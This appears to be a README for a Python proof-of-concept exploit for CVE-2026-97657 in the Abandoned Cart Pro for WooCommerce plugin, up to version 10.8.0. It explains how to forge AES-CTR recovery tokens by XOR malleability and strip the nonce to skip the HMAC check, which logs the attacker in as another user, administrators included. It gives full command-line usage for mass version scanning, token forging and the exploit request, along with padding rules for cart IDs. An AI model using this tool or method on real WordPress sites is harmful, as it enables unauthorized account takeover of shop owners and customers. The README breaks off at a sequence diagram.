
Python PoC for CVE-2026-97657: forges AES-CTR recovery tokens via XOR malleability to bypass authentication and take over WordPress accounts in Abandoned Cart Pro ≤10.8.0.
Python 3 PoC for CVE-2026-97657 — Abandoned Cart Pro for WooCommerce (Tyche Softwares) ≤ 10.8.0. CNA: Wordfence.
| Product | Abandoned Cart Pro for WooCommerce |
| Affected | ≤ 10.8.0 (upgrade to a fixed release above 10.8.0) |
| CWE | CWE-639 — authorization bypass through user-controlled key |
| CVSS 3.1 | 9.8 Critical |
| Verify marker | POCBIT-97657-OK (session/admin check) |
| PoCbit | https://pocbit.org/pocs/cve-2026-97657 |
Recovery links use MAC-free AES-CTR tokens (Wcal_Aes_Ctr-compatible layout: 8-byte CTR nonce + ciphertext, base64). The plugin loads the per-email encrypt_key from the attacker-controlled user_email query parameter. In wcap_email_track_links() (Pro; Lite analogue wcal_email_track_links()), the wcap_nonce / HMAC check runs only when wcap_nonce is non-empty, so omitting it skips integrity verification. After decryption, the abandoned_id (cart row ID) is used without proving it belongs to that email, then wp_set_auth_cookie() runs when auto-login is enabled (default).
An unauthenticated attacker with one legitimate recovery URL from their own reminder email can XOR-malleate the CTR ciphertext to change the embedded cart ID to a victim’s abandoned cart ID (same length as the source ID), open the forged URL without wcap_nonce, and log in as the victim (including administrators who abandoned a cart).
Typical URL shape (Pro):
GET /?wacp_action=checkout_link&[email protected]&validate=<token>
(wcap_action / wcal_action variants exist; track-links URLs may include extra parameters such as c=.)
cd CVE-2026-97657
pip install -r requirements.txt
requests, urllib3| Mode | Purpose | Required arguments |
|---|---|---|
check (default) | Read plugin readme.txt, flag version ≤ 10.8.0 | -t URL or --list FILE |
forge | Build forged recovery URL locally (no HTTP) | --recovery-link, --source-cart-id, --target-cart-id |
exploit | Forge token + HTTP GET + verify WordPress session | Same as forge |
Recommended workflow (authorized lab):
check — confirm plugin slug + version ≤ 10.8.0.forge — validate cart ID padding and URL shape before sending traffic.exploit — one GET to the forged recovery URL; confirm cookies + /wp-admin/.Exploit/forge does not use -t / --list. The target host is taken from --recovery-link (scheme + host).
| Requirement | Why |
|---|---|
| One legitimate recovery URL | Supplies a valid CTR nonce + ciphertext and (usually) your user_email / encrypt_key row in ac_sent_history |
| Plugin ≤ 10.8.0 with auto-login enabled (default) | Patched builds or disabled auto-login block wp_set_auth_cookie() |
| Victim registered WordPress user with an abandoned cart row | Takeover path logs in user_id from ac_abandoned_cart_history; pure guest carts use a different branch |
checkout_link URL strongly preferred | Plaintext is {abandoned_cart_id}&url=.... track_links tokens encode email_sent_id, not cart ID — wrong ID type breaks the forge |
| Equal-length IDs | CTR XOR malleability only flips bytes 1:1; pad with zeros (see below) |
--recovery-linkcheckout_link from the email (or from webhooks / plugin export if enabled).Example Pro shapes (from vendor docs / webhooks):
https://shop.example/?wacp_action=checkout_link&validate=<base64-token>
https://shop.example/?wacp_action=checkout_link&[email protected]&validate=<token>
https://shop.example/?wacp_action=track_links&[email protected]&validate=<token>&c=<coupon-token>
Paste the URL exactly as in the email (including validate; query order does not matter).
| Source | Field |
|---|---|
| WooCommerce Abandoned Cart → Cart details (admin) | Abandoned cart ID (DB primary key) |
Webhook payload (wcap_cart, checkout_link context) | "id": "383" on the cart resource |
| MySQL (lab) | wp_ac_abandoned_cart_history.id (Pro table prefix may differ) |
--source-cart-id must be the ID inside your token’s plaintext (your abandoned cart row). --target-cart-id is the victim’s row in the same table.
The PoC rejects mismatched lengths. Pad both IDs to the same width:
| Source (yours) | Target (victim) | OK? |
|---|---|---|
383 | 001 | Yes (3 chars) |
0383 | 0001 | Yes (4 chars) |
383 | 1 | No — run forge with 0383 / 0001 instead |
| Flag | Modes | Meaning |
|---|---|---|
-t, --target | check | WordPress site root, e.g. https://shop.example.com |
--list FILE | check | One site URL per line; # comments ignored |
--mode | all | check (default), forge, exploit |
--recovery-link URL | forge, exploit | Full recovery URL from reminder email |
--source-cart-id | forge, exploit | Your abandoned cart row ID (in token plaintext) |
--target-cart-id | forge, exploit | Victim abandoned cart row ID (same string length) |
-j N | check (list) | Parallel workers (default 8) |
--timeout SEC | check, exploit | HTTP timeout (default 15) |
--insecure | check, exploit | Disable TLS certificate verification |
--jsonl FILE | check, exploit | Append one JSON object per run |
--vuln-list FILE | check | Write URLs with version ≤ 10.8.0 |
-q, --quiet | all | Less console output |
--no-color | all | Plain terminal |
Exit codes
| Code | When |
|---|---|
| 0 | Exploit: success: true; forge: always; check: always (single -t) |
| 1 | Exploit: login/admin verification failed |
| 2 | Check list run with no -t semantics (informational) |
python poc.py -t https://shop.example.com --mode check
python poc.py --list targets.example.txt --mode check -j 16 --vuln-list hits.txt --jsonl scan.jsonl
Probes:
/wp-content/plugins/woocommerce-abandon-cart-pro/readme.txtwoocommerce-abandoned-cart-propython poc.py --mode forge \
--recovery-link "https://shop.example.com/?wacp_action=checkout_link&[email protected]&validate=..." \
--source-cart-id "0383" \
--target-cart-id "0001"
Output JSON includes exploit_url (HMAC suffix stripped from validate, nonce parameters removed).
The PoC also removes wcap_nonce / wcal_nonce from the query if they were present on the original link.
--mode exploit)Performs local token forgery then a single unauthenticated HTTP GET (plus redirect follows). No WordPress credentials are sent.
sequenceDiagram
participant Att as Attacker PoC
participant WP as WordPress + Pro plugin
participant DB as Plugin DB